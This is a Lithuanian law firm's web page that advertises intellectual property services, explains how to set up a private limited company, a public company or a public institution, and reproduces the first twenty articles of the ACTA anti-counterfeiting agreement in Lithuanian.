Specializacija – intelektinė nuosavybė: autorių teisės, gretutinės teisės, prekių ženklai, interneto vardai (domenai) ir kt.

Galime paruošti pretenziją, atsakymą į pretenziją, ieškinį, atsiliepimą į ieškinį ir kitus dokumentus, pakonsultuoti ar suteikti reikalingą informaciją.

Jei reikia pagalbos ne civilinės teisės klausimu – kreipkitės, galbūt irgi galėsime padėti.

Kontaktų forma

Tel: 8 623 77715

Kelios nuorodos:

http://www.15min.lt/naujiena/pinigai/itkodas/es-teisingumo-teismas-atvere-kelia-naudotu-kompiuteriniu-programu-prekybai-51-231483

http://mokslas.delfi.lt/technology/leidimas-parduoti-naudotas-programas-gali-sumazinti-verslo-sanaudas.d?id=59082725

http://www.infolex.lt/Portal/start.asp?act=news&Tema=1&Str=50687 – Ką pakeis ES Teisingumo teismo sprendimas dėl „naudotų“ kompiuterių programų prekybos

            Ši įmonių teisinė forma populiariausia Lietuvoje, nes ją pakankamai lengva įsteigti ir ji yra ribotos civilinės atsakomybės juridinis asmuo, todėl ją rekomenduojama steigti, kai numatomas verslas yra susijęs su didesne rizika

Uždarųjų akcinių bendrovių veiklą reglamentuoja Akcinių bendrovių įstatymas (nauja įstatymo redakcija įsigaliojo nuo 2004 m. (VŽ 2003 Nr.123-5574). Šių įmonių steigėjai gali būti Lietuvos Respublikos ir kitų valstybių fiziniai ir juridiniai asmenys. Įmonės turtas padalytas į dalis, kurios yra vadinamos akcijomis. UAB įstatinis kapitalas negali būti mažesnis kaip 10 tūkst. litų. UAB akcijos negali būti platinamos bei jomis prekiaujama viešai, t.y. jomis negalima prekiauti vertybinių popierių biržose.

Bendrovės steigėjai sudaro bendrovės steigimo sutartį (jeigu steigėjas vienas – jis pasirašo steigimo aktą). Ši sutartis suteikia teisę atidaryti kaupiamąją steigiamos bendrovės sąskaitą Lietuvos Respublikoje įregistruotame banke.

Steigiamos bendrovės akcijas pasirašo bendrovės steigėjai. Kai visi pradiniai įnašai už akcijas yra įmokėti, steigėjai iki bendrovės įregistravimo privalo sušaukti steigiamąjį susirinkimą. Steigiamasis susirinkimas tvirtina akcinės bendrovės steigimo ataskaitą (parastai surašomas susirinkimo protokolas), renka bendrovės valdymo organų narius (dažniausiai skiria direktorių, atskirais atvejais sudaro valdybą), sprendžia kitus visuotinio akcininkų susirinkimo kompetencijos klausimus. Po steigiamojo susirinkimo bendrovė įregistruojama Juridinių asmenų registre. Nuo įregistravimo dienos bendrovė yra įsteigta ir įgyja juridinio asmens teises.

Bendrovės akcininkais gali būti Lietuvos Respublikos ar kitų valstybių fiziniai ir juridiniai asmenys, kurie įstatymų nustatyta tvarka turi įsigiję bent po vieną bendrovės akciją. Kiekvienas akcininkas bendrovėje turi tokias teises, kokias suteikia jam nuosavybės teise priklausančios bendrovės akcijos.

Bendrovė savo veikloje vadovaujasi įstatais, kurie yra pagrindinis teisinis dokumentas.

Bendrovės valdymo organai yra visuotinis akcininkų susirinkimas, jei reikia gali būti stebėtojų taryba, valdyba ir administracijos vadovas. UAB privalomi valdymo organai yra visuotinis akcininkų susirinkimas ir administracijos vadovas. Stebėtojų taryba ir valdyba UAB gali būti nesudaromos.

Esminė UAB valdymo ypatybė – AB ar UAB turto savininkai turi tiek įtakos, kiek jiems priklauso bendrovės turto (akcijų). Svarbiausius sprendimus, tarp jų ir formuojant valdymo organus, priima akcininkai balsuodami, o kiekvieno jų balsų skaičius priklauso nuo turimų akcijų.

UAB buhalterinę apskaitą tvarko pagal dvejybinę sistemą, o tai reikalauja išsamių buhalterijos žinių ir darbuotojų, turinčių atitinkamą kvalifikaciją. Finansiniams metams pasibaigus, iki eilinio visuotinio akcininkų susirinkimo turi būti parengta finansinė atskaitomybė. Jei yra tam tikros sąlygos, ši atskaitomybė yra audituojama.

Uždarosiose akcinėse bendrovėse auditas privalo būti atliekamas, jei jos tenkina ne mažiau kaip dvi iš šių sąlygų:

pardavimų pajamos viršija 10 mln. litų per ataskaitinius finansinius metus;

vidutinis sąrašinis darbuotojų skaičius per ataskaitinius finansinius metus yra ne mažesnis kaip 50;

balanse pateikta turto suma viršija 5 mln. litų.

AKCINĖ BENDROVĖ

            Nagrinėjant tą patį Akcinių bendrovių įstatymą, rasite ir dar vieną įmonės teisinę formą – akcinę bendrovę. Ši įmonių rūšis yra skirta verslui vystyti, kuriam reikia didesnio pradinio kapitalo, nes akcinių bendrovių minimalus įstatinis kapitalas yra ne mažesnis nei 150 tūkst. Lt.

Kadangi šio straipsnio tikslas yra pateikti informaciją smulkiesiems verslininkams, tai ties šia įmonių rūšimi plačiau neapsistosime. Jei kam reikės pagalbos steigiant būtent tokios teisinės formos įmonę, UAB „FACTUS SUM“ specialistai mielai pakonsultuos ir padės ją įsteigti.

VIEŠOJI ĮSTAIGA (VšĮ)

            Tam tikrais atvejais yra besidominčių ir pelno nesiekiančių įmonių steigimu. Populiariausia – viešoji įstaiga (VšĮ).

            Tai ribotos civilinės atsakomybės viešasis juridinis asmuo, kurio tikslas – tenkinti viešuosius interesus vykdant švietimo, mokymo ir mokslinę, kultūrinę, sveikatos priežiūros, aplinkos apsaugos, sporto plėtojimo, socialinės ar teisinės pagalbos teikimo, taip pat kitokią visuomenei naudingą veiklą. VšĮ turi teisę verstis įstatymų nedraudžiama ūkine komercine veikla, kuri yra neatsiejamai susijusi su jos veiklos tikslais. VšĮ gautas pelnas gali būti naudojamas tik VšĮ įstatuose nustatytiems veiklos tikslams siekti. VšĮ pelnas negali būti skiriamas dalininkams, VšĮ organų nariams, darbuotojų premijoms.

VšĮ veiklą reglamentuoja Viešųjų įstaigų įstatymas, kurio nauja redakcija įsigaliojo 2004 m. vasario mėn. (VŽ, 2004 Nr. 25-752)

VšĮ steigėjai gali būti valstybė, savivaldybės ir kiti iš įstaigos veiklos nesiekiantys sau naudos asmenys, sudarę VšĮ steigimo sutartį. Steigėjų skaičius neribojamas. VšĮ steigėjai, perdavę VšĮ įnašą, tampa jos dalininkais.

VšĮ valdymo organai – visuotinis dalininkų susirinkimas ir VšĮ vadovas.

Buhalterinė apskaita tvarkoma pagal dvejybinį įrašą, pagal finansų ministro įsakymu nustatytas apskaitos taisykles skirtas pelno nesiekiantiems juridiniams asmenims. Finansinė atskaitomybė yra tvirtinama dalininkų susirinkime.

UAB „FACTUS SUM“ specialistų informacija

Pateikiamas ACTA (anti-counterfeiting trade agreement – prekybos susitarimo dėl prekių klasojimo) sutarties tekstas lietuvių kalba. Parašykite savo nuomonę apie šį teisės aktą komentaruose

EUROPOS SĄJUNGOS IR JOS VALSTYBIŲ NARIŲ,
AUSTRALIJOS, JAPONIJOS, JUNGTINIŲ AMERIKOS VALSTIJŲ,
JUNGTINIŲ MEKSIKOS VALSTIJŲ, KANADOS, KORĖJOS RESPUBLIKOS,
MAROKO KARALYSTĖS, NAUJOSIOS ZELANDIJOS,
SINGAPŪRO RESPUBLIKOS IR ŠVEICARIJOS KONFEDERACIJOS
PREKYBOS SUSITARIMAS DĖL KOVOS SU KLASTOJIMU

ŠIO SUSITARIMO ŠALYS,

PAŽYMĖDAMOS, kad veiksmingas intelektinės nuosavybės teisių gynimas yra būtinas visų pramonės šakų ekonominiam augimui visame pasaulyje skatinti;

PAŽYMĖDAMOS, kad suklastotų ir piratinių prekių ir intelektinės nuosavybės teises pažeidžiančios medžiagos platinimo paslaugų plitimas kenkia teisėtai prekybai ir darniam pasaulio ekonomikos vystymuisi, teisių turėtojai ir teisėti verslo subjektai patiria didelių finansinių nuostolių, o kai kuriais atvejais tai tampa pajamų organizuotam nusikalstamumui šaltiniu ir kelia kitokių pavojų visuomenei;

NORĖDAMOS glaudesniu tarptautiniu bendradarbiavimu ir veiksmingesne tarptautine veikla kovoti su tokiu plitimu;

KETINDAMOS numatyti TRIPS sutartį papildančias veiksmingas ir tinkamas priemones intelektinės nuosavybės teisėms ginti ir atsižvelgdamos į atitinkamų teisinių sistemų ir praktikos skirtumus;

NORĖDAMOS užtikrinti, kad pačios priemonės ir procedūros intelektinės nuosavybės teisėms ginti netaptų kliūtimis teisėtai prekybai;

NORĖDAMOS spręsti intelektinės nuosavybės teisių pažeidimo problemas, įskaitant skaitmeninėje erdvėje daromus pažeidimus, visų pirma atsižvelgdamos į autorių ar gretutines teises, tokiu būdu, kad būtų derinamos susijusių teisių turėtojų, paslaugų teikėjų ir naudotojų teisės ir interesai;

NORĖDAMOS skatinti paslaugų teikėjus ir teisių turėtojus bendradarbiauti sprendžiant atitinkamų skaitmeninės erdvės pažeidimų klausimus;

NORĖDAMOS, kad šis Susitarimas būtų naudingas ir tarptautinei teisių gynimo veiklai, ir atitinkamų tarptautinių organizacijų bendradarbiavimui;

PRIPAŽINDAMOS principus, nustatytus 2001 m. lapkričio 14 d. Ketvirtojoje PPO ministrų konferencijoje patvirtintoje Dohos deklaracijoje dėl TRIPS sutarties ir visuomenės sveikatos;

SUSITARIA:

I SKYRIUS

PRADINĖS NUOSTATOS IR BENDROSIOS TERMINŲ APIBRĖŽTYS

1 SKIRSNIS

PRADINĖS NUOSTATOS

1 STRAIPSNIS

Ryšys su kitais susitarimais

Šiame Susitarime nėra nuostatų, kuriomis būtų nukrypstama nuo bet kokių Šalies įsipareigojimų, susijusių su bet kuria kita Šalimi, pagal esamus susitarimus, įskaitant TRIPS sutartį.

2 straipsnis

Įsipareigojimų pobūdis ir taikymo sritis

1.                   Šio Susitarimo nuostatas įgyvendina kiekviena Šalis. Savo teisėje Šalis gali įgyvendinti griežtesnes intelektinės nuosavybės teisių gynimo nuostatas, nei reikalaujama šiuo Susitarimu, jeigu toks gynimas neprieštarauja šio Susitarimo nuostatoms. Kiekviena Šalis savo teisės sistemoje ir praktikoje gali nustatyti tinkamą šio Susitarimo nuostatų įgyvendinimo būdą.

2.                   Šiame Susitarime nėra nuostatų, kuriomis būtų nustatytas įsipareigojimas dėl išteklių paskirstymo intelektinės nuosavybės teisių gynimui ir įstatymų įgyvendinimo užtikrinimui apskritai.

3.                   TRIPS sutarties I dalyje, ypač 7 ir 8 straipsniuose, išdėstyti tikslai ir principai šiam Susitarimui taikomi mutatis mutandis.

3 straipsnis

Ryšys su standartais, susijusiais su intelektinės nuosavybės teisėmis ir jų taikymo sritimi

1.                   Šiuo Susitarimu nedaromas poveikis Šalies teisės nuostatoms, kuriomis reglamentuojamos intelektinės nuosavybės teisės, jų įgijimas, taikymo sritis ir išlaikymas.

2.                   Šiame Susitarime nėra nuostatų, kuriomis būtų nustatytas Šalies įsipareigojimas taikyti priemones, jei intelektinės nuosavybės teisė pagal jos įstatymus ir kitus teisės aktus nesaugoma.

4 STRAIPSNIS

Informacijos privatumas ir atskleidimas

1.                   Šiame Susitarime nėra nuostatų, kuriomis iš Šalies būtų reikalaujama atskleisti:

a)       informaciją, kurios atskleidimas prieštarautų jos teisei, įskaitant teisės aktus, kuriais ginamos teisės į privatumą, arba tarptautiniams susitarimams, kurių šalis ji yra;

b)      konfidencialią informaciją, kurios atskleidimas trukdytų vykdyti teisės aktus ar kitaip prieštarautų viešajam interesui, arba

c)       konfidencialią informaciją, kurios atskleidimas prieštarautų teisėtiems konkrečių viešųjų ar privačiųjų įmonių komerciniams interesams.

2.                   Jei Šalis pateikia rašytinės informacijos pagal šio Susitarimo nuostatas, informaciją gaunanti Šalis, laikydamasi savo teisės ir praktikos, informaciją atskleidžia ir naudoja tik tam tikslui, kuriam ši informacija buvo pateikta, išskyrus atvejus, kai iš anksto gaunamas informaciją teikiančios Šalies sutikimas.

2 skirsnis

BENDROSIOS TERMINŲ APIBRĖŽTYS

5 straipsnis

Bendrosios terminų apibrėžtys

Šiame Susitarime, jeigu nenustatyta kitaip:

a)       KKPS – Prekybos susitarimas dėl kovos su klastojimu;

b)      Komitetas – pagal V skyrių (Institucijų susitarimai) įsteigtas KKPS komitetas;

c)       kompetentingos institucijos – atitinkamos teisminės, administracinės arba teisėsaugos institucijos pagal Šalies teisę;

d)      prekės su suklastotu prekių ženklu – bet kokios prekės, įskaitant pakuotę, su be leidimo naudojamu prekių ženklu, kuris yra identiškas tokioms prekėms tinkamai užregistruotam prekių ženklui arba kurio esminių aspektų negalima atskirti nuo tokio prekių ženklo ir kuriuo tokiu būdu pažeidžiamos konkretaus prekių ženklo turėtojo teisės pagal šalies, kurioje taikomos II skyriuje (Intelektinės nuosavybės teisių gynimo teisinis pagrindas) nustatytos procedūros, teisę;

e)       šalis – suprantama taip pat, kaip apibrėžta PPO susitarimo paaiškinimuose;

f)       muitinis tranzitas – muitinės procedūra, kurią taikant muitinės prižiūrimos prekės gabenamos iš vienos muitinės įstaigos į kitą;

g)      dienos – kalendorinės dienos;

h)      intelektinė nuosavybė – visos intelektinės nuosavybės kategorijos, kurioms taikomi TRIPS sutarties II dalies 1–7 skirsniai;

i)       tranzitu gabenamos prekės – prekės, kurioms taikoma muitinio tranzito procedūra arba jos perkraunamos;

j)       asmuo – fizinis arba juridinis asmuo;

k)      autorių teises pažeidžiančios piratinės prekės – bet kokios prekės, kurios yra kopijos, padarytos be teisių turėtojo ar tinkamai jo įgalioto asmens gamybos šalyje sutikimo ir tiesiogiai ar netiesiogiai pagamintos iš prekės, iš kurios tos kopijos padarymas būtų autorių teisių ar gretutinių teisių pažeidimas pagal šalies, kurioje taikomos II skyriuje (Intelektinės nuosavybės teisių gynimo teisinis pagrindas) nustatytos procedūros, teisę;

l)       teisių turėtojas – apima federaciją arba asociaciją, kuri turi teisinį pagrindą pareikšti teises į intelektinę nuosavybę;

m)     teritorija – taikant II skyriaus (Intelektinės nuosavybės teisių gynimo teisinis pagrindas) 3 skirsnį (Pasienyje taikomos priemonės), Šalies muitų teritorija ir visos laisvosios prekybos zonos^[1];

n)      perkrovimas – muitinės procedūra, pagal kurią muitinei prižiūrint prekės perkraunamos iš transporto priemonės, kuria jos importuojamos, į transporto priemonę, kuria jos eksportuojamos, vienos muitinės įstaigos, kuri yra ir importo, ir eksporto įstaiga, zonoje;

o)      TRIPS sutartis – Sutartis dėl intelektinės nuosavybės teisių aspektų, susijusių su prekyba, esanti PPO susitarimo 1C priede;

p)      PPO – Pasaulio prekybos organizacija; ir

q)      PPO susitarimas – 1994 m. balandžio 15 d. Marakešo susitarimas, kuriuo įsteigta Pasaulio prekybos organizacija.

II skyrius

Intelektinės nuosavybės teisių
GYNIMO teisinis pagrindas

1 skirsnis

BENDRIEJI ĮPAREIGOJIMAI

6 straipsnis

Su vykdymu susiję bendrieji įpareigojimai

1.                   Kiekviena Šalis užtikrina, kad jos teisėje būtų nustatytos teisių gynimo procedūros, kurias taikant būtų galima imtis efektyvių veiksmų prieš bet kokį šiame Susitarime numatytą intelektinės nuosavybės teisių pažeidimą, įskaitant skubius gynimo būdus, skirtus pažeidimų prevencijai, ir gynimo būdus, kurie atgrasytų nuo tolesnių pažeidimų. Šios procedūros taikomos taip, kad nebūtų kuriama kliūčių teisėtai prekybai ir kad būtų numatytos apsaugos nuo piktnaudžiavimo jomis priemonės.

2.                   Šio skyriaus nuostatoms įgyvendinti patvirtintos, išlaikytos arba taikomos procedūros turi būti sąžiningos ir nešališkos ir jomis turi būti tinkamai saugomos visų dalyvių, kuriems taikomos tokios procedūros, teisės. Šios procedūros neturi būti dirbtinai sudėtingos ar brangios, taip pat neturi būti nepagrįstai ribojamas ar nepateisinamai vilkinamas laikas.

3.                   Įgyvendindama šio skyriaus nuostatas, kiekviena Šalis atsižvelgia į būtinybę užtikrinti pažeidimo rimtumo, trečiųjų šalių interesų ir taikomų priemonių, gynimo būdų bei sankcijų proporcingumą.

4.                   Šiame skyriuje nėra nuostatų, kuriomis būtų reikalaujama, kad savo pareigūnams Šalis taikytų atsakomybę už atliekant oficialias pareigas padarytus veiksmus.

2 skirsnis

CIVILINIS TEISIŲ GYNIMAS[2]

7 straipsnis

Civilinės procedūros

1.                   Kiekviena Šalis teisių turėtojams suteikia galimybę pasinaudoti civiliniu teismo procesu dėl visų intelektinės nuosavybės teisių gynimo, kaip nurodyta šiame skirsnyje.

2.                   Kadangi administracine tvarka išnagrinėjus bylos esmę galima nurodyti taikyti kokį nors civilinį gynybos būdą, kiekviena Šalis nustato, kad ši tvarka atitinka principus, iš esmės lygiaverčius tiems, kurie išdėstyti šiame skirsnyje.

8 straipsnis

Teismo nustatyti draudimai

1.                   Kiekviena Šalis nustato, kad civiliniuose teismo procesuose dėl intelektinės nuosavybės teisių gynimo jos teisminės institucijos būtų įgaliotos priimti sprendimą uždrausti šaliai tęsti pažeidimą, inter alia, nurodymą, skirtą tai šaliai arba, jei reikia, trečiajai šaliai, kuriai taikoma atitinkamos teisminės institucijos jurisdikcija, kad prekės, su kuriomis siejamas intelektinės nuosavybės teisių pažeidimas, negalėtų patekti į prekybos kanalus.

2.                   Nepaisant kitų šio skirsnio nuostatų, Šalis gali iš kovai su vyriausybių ar vyriausybės įgaliotų trečiųjų šalių naudojimusi be teisių turėtojo leidimo turimų gynimo būdų taikyti tik atlyginimo mokėjimą, su sąlyga, kad Šalis laikosi TRIPS sutarties II dalies nuostatų, kuriomis konkrečiai aptariamas toks naudojimas. Kitais atvejais taikomi šiame skirsnyje numatyti gynimo būdai arba, kai šie būdai neatitinka Šalies teisės, priimami teismo sprendimai ir nustatoma atitinkama kompensacija.

9 straipsnis

Žala

1.                   Kiekviena Šalis nustato, kad civiliniuose teismo procesuose dėl intelektinės nuosavybės teisių gynimo jos teisminės institucijos yra įgaliotos nurodyti pažeidėjui, kuris sąmoningai arba turėdamas pagrindą žinoti dalyvavo pažeidžiamojoje veikoje, atlyginti teisių turėtojo žalą taip, kad būtų kompensuota dėl pažeidimo teisių turėtojo patirta žala. Nustatydamos dėl intelektinės nuosavybės teisių pažeidimo padarytos žalos dydį, Šalies teisminės institucijos yra įgaliotos svarstyti galimybę taikyti, inter alia, bet kokią teisių turėtojo siūlomą visavertę ir teisėtą priemonę, kuri gali apimti prarastą pelną, neteisėtų prekių ar paslaugų vertę, nustatytą pagal rinkos kainą, arba siūlomą mažmeninę kainą.

2.                   Bent autorių teisių arba gretutinių teisių pažeidimo ir prekių ženklų klastojimo atvejais kiekviena Šalis nustato, kad civiliniuose teismo procesuose jos teisminės institucijos yra įgaliotos nurodyti, kad pažeidėjas teisių turėtojui sumokėtų pažeidėjo gautą pelną, siejamą su pažeidimu. Šalis gali laikyti, kad šis pelnas yra 1 dalyje nurodytos žalos dydis.

3.                   Be to, autorių teisių arba gretutinių kūrinių, fonogramų ir jų atlikimo teisių apsaugos pažeidimų atžvilgiu ir prekių ženklų klastojimo atvejais kiekviena Šalis nustato arba išlaiko sistemą, pagal kurią nustatomas vienas ar daugiau toliau išdėstytų dalykų:

a)       iš anksto nustatyta žala arba

b)      prielaidos^[3] nustatyti žalos dydį, kuris būtų pakankamas teisių turėtojui pažeidimu padarytai žalai atlyginti, arba

c)       papildoma žala, susijusi bent su autorių teisėmis.

4.                   Kai Šalis nustato 3 dalies a punkte nurodytą gynimo būdą arba 3 dalies b punkte nurodytas prielaidas, ji užtikrina, kad arba jos teisminės institucijos, arba teisių turėtojas turėtų teisę pasirinkti tokį gynimo būdą arba prielaidas, kaip alternatyvą priemonėms, nurodytoms 1 ir 2 dalyse.

5.                   Kiekviena Šalis nustato, kad, baigus civilinį teismo procesą bent dėl autorių teisių ar gretutinių teisių arba prekių ženklų pažeidimo, jos teisminės institucijos, jei tinka, būtų įgaliotos nurodyti, kad pralaimėjusi šalis apmokėtų šalies, kurios naudai priimtas teismo sprendimas, teismo išlaidas ar mokesčius ir atlyginimą atitinkamam advokatui arba bet kokias kitas išlaidas, numatytas pagal tos Šalies teisę.

10 straipsnis

Kiti gynimo būdai

1.                   Bent atsižvelgdama į autorių teises pažeidžiančias piratines prekes ir prekes su suklastotu prekių ženklu, kiekviena Šalis nustato, kad civiliniuose teismo procesuose, teisių turėtojų prašymu, jos teisminės institucijos būtų įgaliotos nurodyti, kad tokios neteisėtos prekės būtų sunaikintos, išskyrus ypatingus atvejus, be jokio atlygio.

2.                   Be to, kiekviena Šalis nustato, kad jos teisminės institucijos būtų įgaliotos nurodyti, kad medžiagos ir priemonės, kurios buvo daugiausia naudojamos gaminant ar kuriant tokias neteisėtas prekes, nedelsiant ir be jokio atlygio būtų sunaikintos arba jų būtų atsikratyta ne prekybos kanalais taip, kad iki minimumo būtų sumažinta tolesnių pažeidimų rizika.

3.                   Šalis gali nustatyti, kad šiame straipsnyje aprašyti gynimo būdai vykdomi pažeidėjo sąskaita.

11 straipsnis

Su pažeidimu susijusi informacija

Nedarydama poveikio savo teisei, reglamentuojančiai privilegiją, informacijos šaltinių konfidencialumo apsaugą arba asmens duomenų tvarkymo tvarką, kiekviena Šalis nustato, kad civiliniuose teismo procesuose dėl intelektinės nuosavybės teisių gynimo jos teisminės institucijos būtų įgaliotos, teisių turėtojui pagrįstai paprašius, nurodyti, kad pažeidėjas (arba kitais atvejais – įtariamas pažeidėjas) teisių turėtojui arba teisminėms institucijoms bent įrodymų rinkimo tikslais pateiktų atitinkamą informaciją, kurią turi arba kontroliuoja pažeidėjas ar įtariamas pažeidėjas, kaip nustatyta jos galiojančiuose įstatymuose ir kituose teisės aktuose. Tokia informacija gali apimti informaciją apie bet kokį asmenį, bet kokiu būdu susijusį su pažeidimu arba įtariamu pažeidimu, ir apie gamybos priemones arba neteisėtų ar įtariamų neteisėtų prekių ar paslaugų platinimo kanalus, įskaitant trečiųjų asmenų, kurie įtariami dalyvavę gaminant ir platinant tokias prekes ar paslaugas, tapatybę ir jų naudojamus platinimo kanalus.

12 straipsnis

Laikinosios priemonės

1.                   Kiekviena Šalis nustato, kad jos teisminės institucijos yra įgaliotos nurodyti imtis neatidėliotinų ir veiksmingų laikinųjų priemonių:

a)       prieš šalį arba, jei tinka, trečiąją šalį, kuri pavaldi atitinkamos teisminės institucijos jurisdikcijai, kad būtų užkirstas kelias pažeisti bet kokią intelektinės nuosavybės teisę, visų pirma užkirstas kelias prekėms, susijusioms su intelektinės nuosavybės teisių pažeidimu, patekti į prekybos kanalus;

b)      kad būtų išsaugoti reikalingi, su įtariamu pažeidimu susiję įrodymai.

2.                   Kiekviena Šalis nustato, kad jos teisminės institucijos yra įgaliotos, esant reikalui, patvirtinti laikinąsias priemones inaudita altera parte, ypač kai dėl bet kokio delsimo gali būti padaryta nepataisoma žala teisių turėtojui arba kai yra įrodoma rizika, kad gali būti sunaikinti įrodymai. Inaudita altera parte teismo procesuose kiekviena Šalis savo teismines institucijas įgalioja gavus prašymų imtis laikinųjų priemonių veikti operatyviai ir priimti sprendimą nedelsiant.

3.                   Bent autorių teisių arba gretutinių teisių pažeidimo ir prekių ženklų klastojimo atvejais kiekviena Šalis nustato, kad civiliniuose teismo procesuose jos teisminės institucijos yra įgaliotos nurodyti areštuoti arba kitaip sulaikyti įtartinas prekes ir su pažeidimo veiksmu susijusias medžiagas ir priemones ir bent prekių ženklų klastojimo atvejais – su pažeidimu susijusius dokumentinius įrodymus, jų originalus ar kopijas.

4.                   Kiekviena Šalis nustato, kad jos institucijos yra įgaliotos reikalauti, kad atsižvelgdamas į laikinąsias priemones pareiškėjas pateiktų bet kokį pagrįstai jam prieinamą įrodymą, kuris būtų pakankamai įtikinamas, kad pareiškėjo teisė yra pažeidžiama arba kad toks pažeidimas neišvengiamas, ir nurodyti, kad pareiškėjas pateiktų užstatą ar lygiavertę garantiją, kurios pakaktų apginti atsakovui ir užkirsti kelią piktnaudžiavimui. Toks užstatas arba lygiavertė garantija neturi tapti nepagrįsta kliūtimi norint kreiptis į teismą dėl tokių laikinųjų priemonių.

5.                   Kai laikinosios priemonės atšaukiamos arba kai jos nustoja galioti dėl kokios nors pareiškėjo veiklos ar neveikimo, arba jei vėliau paaiškėja, kad intelektinės nuosavybės teisės nebuvo pažeistos, teisminės institucijos yra įgaliotos nurodyti, kad gavus atsakovo prašymą pareiškėjas tinkamai kompensuotų atsakovui už bet kokią šiomis priemonėmis sukeltą žalą.

3 skirsnis

PASIENYJE TAIKOMOS PRIEMONĖS[4],[5]

13 straipsnis

Pasienyje taikomų priemonių taikymo sritis[6]

Šalis, kuri, nuosekliai laikydamasi intelektinės nuosavybės teisių apsaugos sistemos Šalies viduje ir nedarydama poveikio TRIPS sutarties reikalavimams, jei reikia, nustato veiksmingas intelektinės nuosavybės teisių gynimo pasienyje priemones, turėtų veikti taip, kad nebūtų nepagrįstai diskriminuojamos atskiros intelektinės nuosavybės teisės ir nebūtų kuriama kliūčių teisėtai prekybai.

14 straipsnis

Mažos siuntos ir asmeninis bagažas

1.                   Kiekviena Šalis šį skirsnį taiko komercinės paskirties prekėms, siunčiamoms
mažomis siuntomis.

2.                   Šalis gali netaikyti šio skirsnio nedideliam nekomercinės paskirties prekių, esančių asmeniniame keliautojo bagaže, kiekiui.

15 straipsnis

Teisių turėtojo teikiama informacija

Kiekviena Šalis leidžia savo kompetentingoms institucijoms prašyti, kad teisių turėtojas pateiktų atitinkamos informacijos, kuri kompetentingoms institucijoms padėtų pasienyje taikyti šiame skirsnyje nurodytas priemones. Šalis taip pat gali leisti, kad teisių turėtojas teiktų atitinkamą informaciją jos kompetentingoms institucijoms.

16 straipsnis

Pasienyje taikomos priemonės

1.                   Kiekviena Šalis patvirtina arba išlaiko siuntų importo ir eksporto procedūras, pagal kurias:

a)       jos muitinė gali veikti savo iniciatyva, kad sustabdytų įtartinų prekių išleidimą, ir

b)      jei reikia, teisių turėtojas gali prašyti Šalies kompetentingų institucijų sustabdyti įtartinų prekių išleidimą.

2.       Šalis gali patvirtinti arba išlaikyti procedūras, taikomas įtartinoms tranzitu gabenamoms prekėms arba kitose situacijose, kai prekėms taikomas muitinis tikrinimas, kurį atliekant:

a)       jos muitinė gali veikti savo iniciatyva, kad sustabdytų įtartinų prekių išleidimą arba sulaikytų įtartinas prekes, ir

b)      jei reikia, teisių turėtojas gali prašyti jos kompetentingų institucijų sustabdyti įtartinų prekių išleidimą arba sulaikyti įtartinas prekes.

17 straipsnis

Teisių turėtojo teikiamas prašymas

1.                   Kiekviena Šalis nustato, kad jos kompetentingos institucijos reikalautų, kad teisių turėtojas, prašantis taikyti 16 straipsnio (Pasienyje taikomos priemonės) 1 dalies b punkte ir 2 dalies b punkte aprašytas procedūras, pateiktų tinkamų įrodymų, kurie įtikintų kompetentingas institucijas, kad pagal procedūras taikančios Šalies teisę yra prima facie įrodymų, kad pažeidžiamos intelektinės nuosavybės teisių turėtojo teisės, ir suteiktų pakankamai informacijos, kuri, kaip galima pagrįstai manyti, būtų žinoma teisių turėtojui ir pagal kurią kompetentingos institucijos galėtų įtartinas prekes pagrįstai atpažinti. Dėl reikalavimo pateikti pakankamai informacijos neturi būti nepagrįstai netaikomos 16 straipsnio (Pasienyje taikomos priemonės) 1 dalies b punkte ir 2 dalies b punkte aprašytos procedūros.

2.                   Kiekviena Šalis sudaro galimybę teikti prašymus sustabdyti įtartinų prekių išleidimą arba sulaikyti įtartinas prekes[7] atliekant muitinį tikrinimą jos teritorijoje. Šalis gali nustatyti, kad tokie prašymai gali būti teikiami dėl kelių siuntų. Šalis gali nustatyti, kad teisių turėtojo prašymu prašymas sustabdyti įtartinų prekių išleidimą arba sulaikyti įtartinas prekes gali būti vykdomas atrinktuose įvažiavimo ir išvažiavimo punktuose atliekant muitinį tikrinimą.

3.                   Kiekviena Šalis užtikrina, kad per pagrįstą laikotarpį jos kompetentingos institucijos praneštų pareiškėjui, ar jos priėmė prašymą. Kai kompetentingos institucijos priima prašymą, jos taip pat praneša pareiškėjui, kiek laiko prašymas galioja.

4.                   Šalis gali nustatyti, kad tais atvejais, kai pareiškėjas piktnaudžiavo 16 straipsnio (Pasienyje taikomos priemonės) 1 dalies b punkte ir 2 dalies b punkte aprašytomis procedūromis arba kai yra svarių priežasčių, jos kompetentingos institucijos yra įgaliotos atsisakyti priimti prašymą, sustabdyti jo nagrinėjimą arba jį panaikinti.

18 straipsnis

Užstatas arba lygiavertė garantija

Kiekviena Šalis nustato, kad jos kompetentingos institucijos yra įgaliotos reikalauti, kad teisių turėtojas, prašantis taikyti 16 straipsnio (Pasienyje taikomos priemonės) 1 dalies b punkte ir 2 dalies b punkte aprašytas procedūras, pateiktų pagrįstą užstatą arba lygiavertę garantiją, kuri būtų pakankama apsaugoti atsakovui ir kompetentingoms institucijoms ir užkirsti kelią piktnaudžiavimui. Kiekviena Šalis nustato, kad toks užstatas arba lygiavertė garantija neturi tapti nepagrįsta kliūtimi netaikyti šių procedūrų. Šalis gali nustatyti, kad toks užstatas gali būti garantinis raštas, kad atsakovas nepatirs jokių nuostolių ar žalos dėl bet kokio prekių išleidimo sustabdymo arba sulaikymo, jeigu kompetentingos institucijos nustatys, kad prekės buvo teisėtos. Tik ypatingais atvejais arba teismo nurodymu Šalis gali leisti atsakovui atsiimti įtartinas prekes, jei jis pateikia garantinį raštą ar kitą užstatą.

19 straipsnis

Pažeidimo nustatymas

Kiekviena Šalis patvirtina arba išlaiko procedūras, pagal kurias per pagrįstą laikotarpį po 16 straipsnyje (Pasienyje taikomos priemonės) aprašytų procedūrų inicijavimo jos kompetentingos institucijos gali nustatyti, ar įtartinos prekės pažeidžia intelektinės nuosavybės teises.

20 straipsnis

Gynimo būdai

1.                   Kiekviena Šalis nustato, kad jos kompetentingos institucijos yra įgaliotos nurodyti sunaikinti prekes po to, kai pagal 19 straipsnį (Pažeidimo nustatymas) nustatoma, kad prekės yra neteisėtos. Jeigu tokios prekės nesunaikinamos, kiekviena Šalis užtikrina, išskyrus ypatingus atvejus, kad tokių prekių būtų atsikratoma ne prekybos kanalais taip, kad teisių turėtojui nebūtų padaryta jokios žalos.

